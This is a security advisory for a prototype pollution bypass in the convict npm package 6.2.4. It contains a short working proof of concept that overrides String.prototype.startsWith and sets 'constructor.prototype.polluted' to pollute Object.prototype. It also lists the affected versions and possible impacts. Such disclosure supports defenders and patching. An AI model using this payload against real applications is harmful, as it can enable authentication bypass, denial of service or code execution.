Convict has Prototype Pollution via startsWith() function
Description
Summary
A prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype.
Details
The vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where startsWith() function is used to check whether user provided input contain forbidden strings.
PoC
#### Steps to reproduce 1. Install latest version of convict using npm install or cloning from git 2. Run the following code snippet:
String.prototype.startsWith = () => false;
const convict = require('convict');
let obj = {};
const config = convict(obj);
console.log({}.polluted);
config.set('constructor.prototype.polluted', 'yes');
console.log({}.polluted); // prints yes -> the patch is bypassed and prototype pollution occurred
Expected behavior
Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: `` undefined undefined OR throw an Error ``
Actual behavior
Object.prototype is polluted This is printed on the console: `` undefined yes ``
Impact
This is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using convict.set may be affected. It could potentially lead to the following problems:
- Authentication bypass
- Denial of service
- Remote code execution (if polluted property is passed to sinks like eval or child_process)
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
convictnpm | < 6.2.5 | 6.2.5 |
Affected products
1- Range: = 6.2.4
Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
3News mentions
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